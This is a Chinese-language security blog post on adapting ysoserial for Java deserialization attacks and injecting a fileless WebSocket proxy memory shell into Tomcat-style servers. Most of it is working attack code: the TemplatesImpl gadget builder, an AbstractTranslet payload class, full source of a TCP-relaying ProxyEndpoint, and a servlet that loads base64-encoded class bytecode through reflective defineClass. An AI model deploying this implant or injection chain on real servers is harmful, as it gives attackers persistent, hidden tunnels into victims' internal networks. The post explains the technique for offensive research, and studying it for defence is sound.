从wsProxy到AbstractTranslet

本文主要是围绕在Java反序列化利用过程中,默认使用 ysoserial 带来的一些问题和局限性。通对代码的二次改造,最终能完成序列化数据的体积的减少和Websocket类型正向代理的无文件植入。

常用改造 ysoserial 任意类加载执行方式

在使用ysoserial的时候,部分gadget最终的命令执行都是通过Gadgets.createTemplatesImpl实现的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
throws Exception {
final T templates = tplClass.newInstance();

// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replace("\\", "\\\\").replace("\"", "\\\"") +
"\");";
clazz.makeClassInitializer().insertAfter(cmd);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);

final byte[] classBytes = clazz.toBytecode();

// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, ClassFiles.classAsBytes(Foo.class)
});

// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}

在原始的Gadgets.createTemplatesImpl方法中,使用了Javassist来构建templates的_bytecodes属性,在构建时设置了父类为AbstractTranslet,设置了static方法内容为Runtime命令执行。

由于单纯的命令执行还是非常局限,通常需要转换为代码执行。大家为了更方便的实现命令执行回显或中内存马,在ysoserial中新增了codefile、classfile等逻辑。

1
2
3
4
5
6
}else if(command.startsWith("classfile:")){
String path = command.split(":")[1];
FileInputStream in =new FileInputStream(new File(path));
classBytes=new byte[in.available()];
in.read(classBytes);
in.close();

在classfile逻辑中,不再需要麻烦的使用javassist来构建_bytecodes属性,而是直接传入class文件路径。在编写codefile时,第一步就需要继承AbstractTranslet类,然后在构造方法或者static代码块中编写利用代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class CMD extends AbstractTranslet {

public CMD() throws IOException {
Runtime.getRuntime().exec("open -a calculator.app");
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

反序列后成功执行了代码,移除继承AbstractTranslet后

1
2
3
4
5
6
import java.io.IOException;
public class CMD{
public CMD() throws IOException {
Runtime.getRuntime().exec("open -a calculator.app");
}
}

也产生了异常但是没有执行代码,虽然需要继承AbstractTranslet才能利用,但在之前的各种利用中都不会带来什么影响,所以一直没去研究过为什么要继承AbstractTranslet才能利用。但在利用最近出的WebSocket内存马技术时,因为要继承AbstractTranslet带来了一些不便。

反序列化植入 WebSocket Proxy

https://github.com/veo/wsMemShell/tree/main/Tomcat_Spring_Jetty
作者提供了反序列化中wsCmd的代码,不过没有提供反序列中wsProxy的代码,自己就尝试去改了改。
作者提供了wsProxy.jsp,https://github.com/veo/wsMemShell/blob/main/Tomcat_Spring_Jetty/wsproxy.jsp 直接照着jsp改一份java版本。
刚开始就遇到了问题,以前中filter/listener内存马比较多,因为javax.servlet.filter、ServletRequestListener都是接口,那么可以继承AbstractTranslet同时实现这些接口,就不需要defineClass了,个人也不太喜欢defineClass(因为要改代码的时候略微麻烦),

1
public class Tomcat_mbean_add_listener extends AbstractTranslet implements ServletRequestListener {

中websocket内存马的时候,变成了抽象类javax.xml.ws.Endpoint,由于java不允许实现多继承,继承了AbstractTranslet后,无法再继承Endpoint。
实在没办法,只能老老实实defineClass了,先将wsProxy.jsp中的ProxyEndpoint抽出来改为java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
import javax.websocket.EndpointConfig;
import javax.websocket.MessageHandler;
import javax.websocket.Session;
import javax.websocket.*;
import java.io.ByteArrayOutputStream;
import java.net.InetSocketAddress;
import java.nio.ByteBuffer;
import java.nio.channels.AsynchronousSocketChannel;
import java.nio.channels.CompletionHandler;
import java.util.HashMap;
import java.util.concurrent.Future;
import java.util.concurrent.TimeUnit;

public class ProxyEndpoint extends Endpoint {
long i =0;
ByteArrayOutputStream baos = new ByteArrayOutputStream();
HashMap<String, AsynchronousSocketChannel> map = new HashMap<String,AsynchronousSocketChannel>();
static class Attach {
public AsynchronousSocketChannel client;
public Session channel;
}
void readFromServer(Session channel,AsynchronousSocketChannel client){
final ByteBuffer buffer = ByteBuffer.allocate(50000);
Attach attach = new Attach();
attach.client = client;
attach.channel = channel;
client.read(buffer, attach, new CompletionHandler<Integer, Attach>() {
@Override
public void completed(Integer result, final Attach scAttachment) {
buffer.clear();
try {
if(buffer.hasRemaining() && result>=0)
{
byte[] arr = new byte[result];
ByteBuffer b = buffer.get(arr,0,result);
baos.write(arr,0,result);
ByteBuffer q = ByteBuffer.wrap(baos.toByteArray());
if (scAttachment.channel.isOpen()) {
scAttachment.channel.getBasicRemote().sendBinary(q);
}
baos = new ByteArrayOutputStream();
readFromServer(scAttachment.channel,scAttachment.client);
}else{
if(result > 0)
{
byte[] arr = new byte[result];
ByteBuffer b = buffer.get(arr,0,result);
baos.write(arr,0,result);
readFromServer(scAttachment.channel,scAttachment.client);
}
}
} catch (Exception ignored) {}
}
@Override
public void failed(Throwable t, Attach scAttachment) {t.printStackTrace();}
});
}
void process(ByteBuffer z,Session channel)
{
try{
if(i>1)
{
AsynchronousSocketChannel client = map.get(channel.getId());
client.write(z).get();
z.flip();
z.clear();
}
else if(i==1)
{
String values = new String(z.array());
String[] array = values.split(" ");
String[] addrarray = array[1].split(":");
AsynchronousSocketChannel client = AsynchronousSocketChannel.open();
int po = Integer.parseInt(addrarray[1]);
InetSocketAddress hostAddress = new InetSocketAddress(addrarray[0], po);
Future<Void> future = client.connect(hostAddress);
try {
future.get(10, TimeUnit.SECONDS);
} catch(Exception ignored){
channel.getBasicRemote().sendText("HTTP/1.1 503 Service Unavailable\r\n\r\n");
return;
}
map.put(channel.getId(), client);
readFromServer(channel,client);
channel.getBasicRemote().sendText("HTTP/1.1 200 Connection Established\r\n\r\n");
}
}catch(Exception ignored){
}
}
@Override
public void onOpen(final Session session, EndpointConfig config) {
i=0;
session.setMaxBinaryMessageBufferSize(1024*1024*20);
session.setMaxTextMessageBufferSize(1024*1024*20);
session.addMessageHandler(new MessageHandler.Whole<ByteBuffer>() {
@Override
public void onMessage(ByteBuffer message) {
try {
message.clear();
i++;
process(message,session);
} catch (Exception ignored) {
}
}
});
}
}

正常流程是将ProxyEndpoint编译为class后,再对class文件base64编码,但是在编译后会发现生成了多个class文件,ProxyEndpoint$Attach.class、ProxyEndpoint.class、ProxyEndpoint$2.class、ProxyEndpoint$1.class,这里因为ProxyEndpoint里面有多个内部类,导致生成了多个class文件。
这时候要defineClass就比较麻烦了,需要把这些内部类也一起defineClass,写了个servlet测试四个defineClass后,代理确实能够正常使用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
String path = request.getParameter("path");
ServletContext servletContext = request.getSession().getServletContext();

byte [] b = null;
try {
if (servletContext.getAttribute(path) == null){
Method m = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
m.setAccessible(true);

b = new BASE64Decoder().decodeBuffer("yv66vgAAADQA3AoANgB1CQA1AHYHAHcKAAMAdQkANQB4BwB5CgAGAHUJADUAegMAAMNQCgB7AHwHAH0KAAsAdQkACwB+CQALAH8HAIAKAA8AgQoAFACCCwCDAIQKAAYAhQcAhgoAFACHCwCIAIkKAHsAigoAewCLBwCMCgB7AI0KABkAjggAjwoAGQCQCACRCgAUAJIKAJMAlAcAlQoAIQCWCgAUAJcFAAAAAAAAAAoJAJgAmQsAiACaBwCbCwCDAJwIAJ0LAJ4AnwoABgCgCgA1AKEIAKIDAUAAAAsAgwCjCwCDAKQHAKUKADIApgsAgwCnBwCoBwCpAQAGQXR0YWNoAQAMSW5uZXJDbGFzc2VzAQABaQEAAUoBAARiYW9zAQAfTGphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtOwEAA21hcAEAE0xqYXZhL3V0aWwvSGFzaE1hcDsBAAlTaWduYXR1cmUBAFRMamF2YS91dGlsL0hhc2hNYXA8TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbmlvL2NoYW5uZWxzL0FzeW5jaHJvbm91c1NvY2tldENoYW5uZWw7PjsBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAD0xQcm94eUVuZHBvaW50OwEADnJlYWRGcm9tU2VydmVyAQBJKExqYXZheC93ZWJzb2NrZXQvU2Vzc2lvbjtMamF2YS9uaW8vY2hhbm5lbHMvQXN5bmNocm9ub3VzU29ja2V0Q2hhbm5lbDspVgEAB2NoYW5uZWwBABlMamF2YXgvd2Vic29ja2V0L1Nlc3Npb247AQAGY2xpZW50AQAtTGphdmEvbmlvL2NoYW5uZWxzL0FzeW5jaHJvbm91c1NvY2tldENoYW5uZWw7AQAGYnVmZmVyAQAVTGphdmEvbmlvL0J5dGVCdWZmZXI7AQAGYXR0YWNoAQAWTFByb3h5RW5kcG9pbnQkQXR0YWNoOwEAB3Byb2Nlc3MBADEoTGphdmEvbmlvL0J5dGVCdWZmZXI7TGphdmF4L3dlYnNvY2tldC9TZXNzaW9uOylWAQAHaWdub3JlZAEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEABnZhbHVlcwEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABWFycmF5AQATW0xqYXZhL2xhbmcvU3RyaW5nOwEACWFkZHJhcnJheQEAAnBvAQABSQEAC2hvc3RBZGRyZXNzAQAcTGphdmEvbmV0L0luZXRTb2NrZXRBZGRyZXNzOwEABmZ1dHVyZQEAHUxqYXZhL3V0aWwvY29uY3VycmVudC9GdXR1cmU7AQABegEAFkxvY2FsVmFyaWFibGVUeXBlVGFibGUBAC9MamF2YS91dGlsL2NvbmN1cnJlbnQvRnV0dXJlPExqYXZhL2xhbmcvVm9pZDs+OwEADVN0YWNrTWFwVGFibGUHAKgHAKoHAKsHAIwHAFkHAIYHAJUHAKwHAJsBAAZvbk9wZW4BADwoTGphdmF4L3dlYnNvY2tldC9TZXNzaW9uO0xqYXZheC93ZWJzb2NrZXQvRW5kcG9pbnRDb25maWc7KVYBAAdzZXNzaW9uAQAGY29uZmlnAQAgTGphdmF4L3dlYnNvY2tldC9FbmRwb2ludENvbmZpZzsBAApTb3VyY2VGaWxlAQASUHJveHlFbmRwb2ludC5qYXZhDABBAEIMADkAOgEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtDAA7ADwBABFqYXZhL3V0aWwvSGFzaE1hcAwAPQA+BwCqDACtAK4BABRQcm94eUVuZHBvaW50JEF0dGFjaAwATABNDABKAEsBAA9Qcm94eUVuZHBvaW50JDEMAEEArwwAsACxBwCrDACyALMMALQAtQEAK2phdmEvbmlvL2NoYW5uZWxzL0FzeW5jaHJvbm91c1NvY2tldENoYW5uZWwMALYAtwcArAwAtAC4DAC5ALoMALsAugEAEGphdmEvbGFuZy9TdHJpbmcMAFgAvAwAQQC9AQABIAwAvgC/AQABOgwAwADBBwDCDADDAMQBABpqYXZhL25ldC9JbmV0U29ja2V0QWRkcmVzcwwAQQDFDADGAMcHAMgMAMkAygwAtADLAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAzADOAQAkSFRUUC8xLjEgNTAzIFNlcnZpY2UgVW5hdmFpbGFibGUNCg0KBwDQDADRANIMANMA1AwASABJAQAnSFRUUC8xLjEgMjAwIENvbm5lY3Rpb24gRXN0YWJsaXNoZWQNCg0KDADVANYMANcA1gEAD1Byb3h5RW5kcG9pbnQkMgwAQQDYDADZANoBAA1Qcm94eUVuZHBvaW50AQAYamF2YXgvd2Vic29ja2V0L0VuZHBvaW50AQATamF2YS9uaW8vQnl0ZUJ1ZmZlcgEAF2phdmF4L3dlYnNvY2tldC9TZXNzaW9uAQAbamF2YS91dGlsL2NvbmN1cnJlbnQvRnV0dXJlAQAIYWxsb2NhdGUBABgoSSlMamF2YS9uaW8vQnl0ZUJ1ZmZlcjsBACcoTFByb3h5RW5kcG9pbnQ7TGphdmEvbmlvL0J5dGVCdWZmZXI7KVYBAARyZWFkAQBPKExqYXZhL25pby9CeXRlQnVmZmVyO0xqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL25pby9jaGFubmVscy9Db21wbGV0aW9uSGFuZGxlcjspVgEABWdldElkAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAANnZXQBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEABXdyaXRlAQA0KExqYXZhL25pby9CeXRlQnVmZmVyOylMamF2YS91dGlsL2NvbmN1cnJlbnQvRnV0dXJlOwEAFCgpTGphdmEvbGFuZy9PYmplY3Q7AQAEZmxpcAEAEygpTGphdmEvbmlvL0J1ZmZlcjsBAAVjbGVhcgEABCgpW0IBAAUoW0IpVgEABXNwbGl0AQAnKExqYXZhL2xhbmcvU3RyaW5nOylbTGphdmEvbGFuZy9TdHJpbmc7AQAEb3BlbgEALygpTGphdmEvbmlvL2NoYW5uZWxzL0FzeW5jaHJvbm91c1NvY2tldENoYW5uZWw7AQARamF2YS9sYW5nL0ludGVnZXIBAAhwYXJzZUludAEAFShMamF2YS9sYW5nL1N0cmluZzspSQEAFihMamF2YS9sYW5nL1N0cmluZztJKVYBAAdjb25uZWN0AQA3KExqYXZhL25ldC9Tb2NrZXRBZGRyZXNzOylMamF2YS91dGlsL2NvbmN1cnJlbnQvRnV0dXJlOwEAHWphdmEvdXRpbC9jb25jdXJyZW50L1RpbWVVbml0AQAHU0VDT05EUwEAH0xqYXZhL3V0aWwvY29uY3VycmVudC9UaW1lVW5pdDsBADQoSkxqYXZhL3V0aWwvY29uY3VycmVudC9UaW1lVW5pdDspTGphdmEvbGFuZy9PYmplY3Q7AQAOZ2V0QmFzaWNSZW1vdGUBAAVCYXNpYwEAKCgpTGphdmF4L3dlYnNvY2tldC9SZW1vdGVFbmRwb2ludCRCYXNpYzsHANsBACRqYXZheC93ZWJzb2NrZXQvUmVtb3RlRW5kcG9pbnQkQmFzaWMBAAhzZW5kVGV4dAEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAA3B1dAEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAdc2V0TWF4QmluYXJ5TWVzc2FnZUJ1ZmZlclNpemUBAAQoSSlWAQAbc2V0TWF4VGV4dE1lc3NhZ2VCdWZmZXJTaXplAQArKExQcm94eUVuZHBvaW50O0xqYXZheC93ZWJzb2NrZXQvU2Vzc2lvbjspVgEAEWFkZE1lc3NhZ2VIYW5kbGVyAQAjKExqYXZheC93ZWJzb2NrZXQvTWVzc2FnZUhhbmRsZXI7KVYBAB5qYXZheC93ZWJzb2NrZXQvUmVtb3RlRW5kcG9pbnQAIQA1ADYAAAADAAAAOQA6AAAAAAA7ADwAAAAAAD0APgABAD8AAAACAEAABAABAEEAQgABAEMAAABWAAMAAQAAACAqtwABKgm1AAIquwADWbcABLUABSq7AAZZtwAHtQAIsQAAAAIARAAAABIABAAAAA4ABAAPAAkAEAAUABEARQAAAAwAAQAAACAARgBHAAAAAABIAEkAAQBDAAAAkgAHAAUAAAAsEgm4AApOuwALWbcADDoEGQQstQANGQQrtQAOLC0ZBLsAD1kqLbcAELYAEbEAAAACAEQAAAAaAAYAAAAXAAYAGAAPABkAFQAaABsAGwArADkARQAAADQABQAAACwARgBHAAAAAAAsAEoASwABAAAALABMAE0AAgAGACYATgBPAAMADwAdAFAAUQAEAAAAUgBTAAEAQwAAAjEABAALAAAAyiq0AAIKlJ4ALCq0AAgsuQASAQC2ABPAABROLSu2ABW5ABYBAFcrtgAXVyu2ABhXpwCWKrQAAgqUmgCNuwAZWSu2ABq3ABtOLRIctgAdOgQZBAQyEh62AB06BbgAHzoGGQUEMrgAIDYHuwAhWRkFAzIVB7cAIjoIGQYZCLYAIzoJGQkUACSyACa5ACcEAFenABM6Ciy5ACkBABIquQArAgCxKrQACCy5ABIBABkGtgAsVyosGQa2AC0suQApAQASLrkAKwIApwAETrEAAwCAAI4AkQAoAAAAoADIACgAoQDFAMgAKAAEAEQAAABmABkAAAA9AAkAPwAaAEAAJQBBACoAQgAvAEMAMgBEADsARgBHAEcATwBIAFoASQBfAEoAaABLAHcATACAAE4AjgBSAJEATwCTAFAAoABRAKEAUwCxAFQAuABVAMUAWADIAFcAyQBZAEUAAAB6AAwAGgAVAEwATQADAJMADgBUAFUACgBHAH4AVgBXAAMATwB2AFgAWQAEAFoAawBaAFkABQBfAGYATABNAAYAaABdAFsAXAAHAHcATgBdAF4ACACAAEUAXwBgAAkAAADKAEYARwAAAAAAygBhAE8AAQAAAMoASgBLAAIAYgAAAAwAAQCAAEUAXwBjAAkAZAAAAD8ABjL/AF4ACgcAZQcAZgcAZwcAaAcAaQcAaQcAagEHAGsHAGwAAQcAbQ//ACMAAwcAZQcAZgcAZwAAQgcAbQAAAQBuAG8AAQBDAAAAcwAFAAMAAAAlKgm1AAIrEi+5ADACACsSL7kAMQIAK7sAMlkqK7cAM7kANAIAsQAAAAIARAAAABYABQAAAFwABQBdAA0AXgAVAF8AJABqAEUAAAAgAAMAAAAlAEYARwAAAAAAJQBwAEsAAQAAACUAcQByAAIAAgBzAAAAAgB0ADgAAAAiAAQACwA1ADcACAAyAAAAAAAAAA8AAAAAAAAAngDPAM0GCQ==");
m.invoke(Thread.currentThread().getContextClassLoader(), b, 0, b.length);

b = new BASE64Decoder().decodeBuffer("yv66vgAAADQAiAkAGgBFCQAaAEYKABsARwoASABJCgBIAEoKABgASwoASABMCQBDAE0KABAATgoAEABPCgBIAFAJABYAUQsAUgBTCwBSAFQLAFUAVgcAVwoAEABHCQAWAFgKAEMARAcAWQoAWgBbBwBcCgAaAF0HAF4KABoAXwcAYAcAYQcAYgEACnZhbCRidWZmZXIBABVMamF2YS9uaW8vQnl0ZUJ1ZmZlcjsBAAZ0aGlzJDABAA9MUHJveHlFbmRwb2ludDsBAAY8aW5pdD4BACcoTFByb3h5RW5kcG9pbnQ7TGphdmEvbmlvL0J5dGVCdWZmZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEADElubmVyQ2xhc3NlcwEAEUxQcm94eUVuZHBvaW50JDE7AQAJY29tcGxldGVkAQAGQXR0YWNoAQAsKExqYXZhL2xhbmcvSW50ZWdlcjtMUHJveHlFbmRwb2ludCRBdHRhY2g7KVYBAANhcnIBAAJbQgEAAWIBAAFxAQAGcmVzdWx0AQATTGphdmEvbGFuZy9JbnRlZ2VyOwEADHNjQXR0YWNobWVudAEAFkxQcm94eUVuZHBvaW50JEF0dGFjaDsBAA1TdGFja01hcFRhYmxlBwAtBwBjBwBZAQAGZmFpbGVkAQAuKExqYXZhL2xhbmcvVGhyb3dhYmxlO0xQcm94eUVuZHBvaW50JEF0dGFjaDspVgEAAXQBABVMamF2YS9sYW5nL1Rocm93YWJsZTsBACooTGphdmEvbGFuZy9UaHJvd2FibGU7TGphdmEvbGFuZy9PYmplY3Q7KVYBACcoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7KVYBAAlTaWduYXR1cmUBAGJMamF2YS9sYW5nL09iamVjdDtMamF2YS9uaW8vY2hhbm5lbHMvQ29tcGxldGlvbkhhbmRsZXI8TGphdmEvbGFuZy9JbnRlZ2VyO0xQcm94eUVuZHBvaW50JEF0dGFjaDs+OwEAClNvdXJjZUZpbGUBABJQcm94eUVuZHBvaW50LmphdmEBAA9FbmNsb3NpbmdNZXRob2QHAGQMAGUAZgwAHwAgDAAdAB4MACEAZwcAYwwAaABpDABqAGsMAGwAbQwAbgBvDABwAHEMAHIAcwwAdAB1DAB2AHcMAHgAeQcAegwAewBrDAB8AH4HAIAMAIEAggEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtDACDAIQBABNqYXZhL2xhbmcvRXhjZXB0aW9uBwCFDACGAGcBABRQcm94eUVuZHBvaW50JEF0dGFjaAwAOAA5AQARamF2YS9sYW5nL0ludGVnZXIMACkAKwEAD1Byb3h5RW5kcG9pbnQkMQEAEGphdmEvbGFuZy9PYmplY3QBACNqYXZhL25pby9jaGFubmVscy9Db21wbGV0aW9uSGFuZGxlcgEAE2phdmEvbmlvL0J5dGVCdWZmZXIBAA1Qcm94eUVuZHBvaW50AQAOcmVhZEZyb21TZXJ2ZXIBAEkoTGphdmF4L3dlYnNvY2tldC9TZXNzaW9uO0xqYXZhL25pby9jaGFubmVscy9Bc3luY2hyb25vdXNTb2NrZXRDaGFubmVsOylWAQADKClWAQAFY2xlYXIBABMoKUxqYXZhL25pby9CdWZmZXI7AQAMaGFzUmVtYWluaW5nAQADKClaAQAIaW50VmFsdWUBAAMoKUkBAANnZXQBABsoW0JJSSlMamF2YS9uaW8vQnl0ZUJ1ZmZlcjsBAARiYW9zAQAfTGphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtOwEABXdyaXRlAQAHKFtCSUkpVgEAC3RvQnl0ZUFycmF5AQAEKClbQgEABHdyYXABABkoW0IpTGphdmEvbmlvL0J5dGVCdWZmZXI7AQAHY2hhbm5lbAEAGUxqYXZheC93ZWJzb2NrZXQvU2Vzc2lvbjsBABdqYXZheC93ZWJzb2NrZXQvU2Vzc2lvbgEABmlzT3BlbgEADmdldEJhc2ljUmVtb3RlAQAFQmFzaWMBACgoKUxqYXZheC93ZWJzb2NrZXQvUmVtb3RlRW5kcG9pbnQkQmFzaWM7BwCHAQAkamF2YXgvd2Vic29ja2V0L1JlbW90ZUVuZHBvaW50JEJhc2ljAQAKc2VuZEJpbmFyeQEAGChMamF2YS9uaW8vQnl0ZUJ1ZmZlcjspVgEABmNsaWVudAEALUxqYXZhL25pby9jaGFubmVscy9Bc3luY2hyb25vdXNTb2NrZXRDaGFubmVsOwEAE2phdmEvbGFuZy9UaHJvd2FibGUBAA9wcmludFN0YWNrVHJhY2UBAB5qYXZheC93ZWJzb2NrZXQvUmVtb3RlRW5kcG9pbnQAIAAaABsAAQAcAAIQEAAdAB4AABAQAB8AIAAAAAUAAAAhACIAAQAjAAAAQwACAAMAAAAPKiu1AAEqLLUAAiq3AAOxAAAAAgAkAAAABgABAAAAGwAlAAAAFgACAAAADwAmACgAAAAAAA8AHwAgAAEAAQApACsAAQAjAAABpAAEAAYAAADLKrQAArYABFcqtAACtgAFmQB7K7YABpsAdCu2AAa8CE4qtAACLQMrtgAGtgAHOgQqtAABtAAILQMrtgAGtgAJKrQAAbQACLYACrgACzoFLLQADLkADQEAmQATLLQADLkADgEAGQW5AA8CACq0AAG7ABBZtwARtQAIKrQAASy0AAwstAAStgATpwA/K7YABp4AOCu2AAa8CE4qtAACLQMrtgAGtgAHOgQqtAABtAAILQMrtgAGtgAJKrQAASy0AAwstAAStgATpwAETrEAAQAIAMYAyQAUAAMAJAAAAEoAEgAAAB4ACAAgABkAIgAgACMALwAkAD8AJQBOACYAWgAnAGoAKQB4ACoAhwArAIoALACRAC4AmAAvAKcAMAC3ADEAxgA0AMoANQAlAAAAUgAIACAAZwAsAC0AAwAvAFgALgAeAAQATgA5AC8AHgAFAJgALgAsAC0AAwCnAB8ALgAeAAQAAADLACYAKAAAAAAAywAwADEAAQAAAMsAMgAzAAIANAAAABcABf4AagcANQcANgcANvgAHztCBwA3AAABADgAOQABACMAAABDAAEAAwAAAAUrtgAVsQAAAAIAJAAAAAYAAQAAADcAJQAAACAAAwAAAAUAJgAoAAAAAAAFADoAOwABAAAABQAyADMAAhBBADgAPAABACMAAAA0AAMAAwAAAAoqKyzAABa2ABexAAAAAgAkAAAABgABAAAAGwAlAAAADAABAAAACgAmACgAABBBACkAPQABACMAAAA3AAMAAwAAAA0qK8AAGCzAABa2ABmxAAAAAgAkAAAABgABAAAAGwAlAAAADAABAAAADQAmACgAAAAEAD4AAAACAD8AQAAAAAIAQQBCAAAABABDAEQAJwAAABoAAwAaAAAAAAAAABYAQwAqAAgAVQB/AH0GCQ==");
m.invoke(Thread.currentThread().getContextClassLoader(), b, 0, b.length);

b = new BASE64Decoder().decodeBuffer("yv66vgAAADQAQAkACgAoCQAKACkKAAsAKgoACAArCQAmACwKACYALQcALgcALwoACgAwBwAxBwAyBwA0AQALdmFsJHNlc3Npb24BABlMamF2YXgvd2Vic29ja2V0L1Nlc3Npb247AQAGdGhpcyQwAQAPTFByb3h5RW5kcG9pbnQ7AQAGPGluaXQ+AQArKExQcm94eUVuZHBvaW50O0xqYXZheC93ZWJzb2NrZXQvU2Vzc2lvbjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAMSW5uZXJDbGFzc2VzAQARTFByb3h5RW5kcG9pbnQkMjsBAAlvbk1lc3NhZ2UBABgoTGphdmEvbmlvL0J5dGVCdWZmZXI7KVYBAAdtZXNzYWdlAQAVTGphdmEvbmlvL0J5dGVCdWZmZXI7AQANU3RhY2tNYXBUYWJsZQcALgEAFShMamF2YS9sYW5nL09iamVjdDspVgEACVNpZ25hdHVyZQEABVdob2xlAQBPTGphdmEvbGFuZy9PYmplY3Q7TGphdmF4L3dlYnNvY2tldC9NZXNzYWdlSGFuZGxlciRXaG9sZTxMamF2YS9uaW8vQnl0ZUJ1ZmZlcjs+OwEAClNvdXJjZUZpbGUBABJQcm94eUVuZHBvaW50LmphdmEBAA9FbmNsb3NpbmdNZXRob2QHADUMADYANwwADwAQDAANAA4MABEAOAwAOQA6DAA7ADwMAD0APgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABNqYXZhL25pby9CeXRlQnVmZmVyDAAZABoBAA9Qcm94eUVuZHBvaW50JDIBABBqYXZhL2xhbmcvT2JqZWN0BwA/AQAkamF2YXgvd2Vic29ja2V0L01lc3NhZ2VIYW5kbGVyJFdob2xlAQANUHJveHlFbmRwb2ludAEABm9uT3BlbgEAPChMamF2YXgvd2Vic29ja2V0L1Nlc3Npb247TGphdmF4L3dlYnNvY2tldC9FbmRwb2ludENvbmZpZzspVgEAAygpVgEABWNsZWFyAQATKClMamF2YS9uaW8vQnVmZmVyOwEAAWkBAAFKAQAHcHJvY2VzcwEAMShMamF2YS9uaW8vQnl0ZUJ1ZmZlcjtMamF2YXgvd2Vic29ja2V0L1Nlc3Npb247KVYBAB5qYXZheC93ZWJzb2NrZXQvTWVzc2FnZUhhbmRsZXIAIAAKAAsAAQAMAAIQEAANAA4AABAQAA8AEAAAAAMAAAARABIAAQATAAAAQwACAAMAAAAPKiu1AAEqLLUAAiq3AAOxAAAAAgAUAAAABgABAAAAXwAVAAAAFgACAAAADwAWABgAAAAAAA8ADwAQAAEAAQAZABoAAQATAAAAgAAFAAMAAAAjK7YABFcqtAABWbQABQphtQAFKrQAASsqtAACtgAGpwAETbEAAQAAAB4AIQAHAAMAFAAAABoABgAAAGMABQBkABIAZQAeAGcAIQBmACIAaAAVAAAAFgACAAAAIwAWABgAAAAAACMAGwAcAAEAHQAAAAcAAmEHAB4AEEEAGQAfAAEAEwAAADMAAgACAAAACSorwAAItgAJsQAAAAIAFAAAAAYAAQAAAF8AFQAAAAwAAQAAAAkAFgAYAAAABAAgAAAAAgAiACMAAAACACQAJQAAAAQAJgAnABcAAAASAAIACgAAAAAAAAAMADMAIQYJ");
m.invoke(Thread.currentThread().getContextClassLoader(), b, 0, b.length);

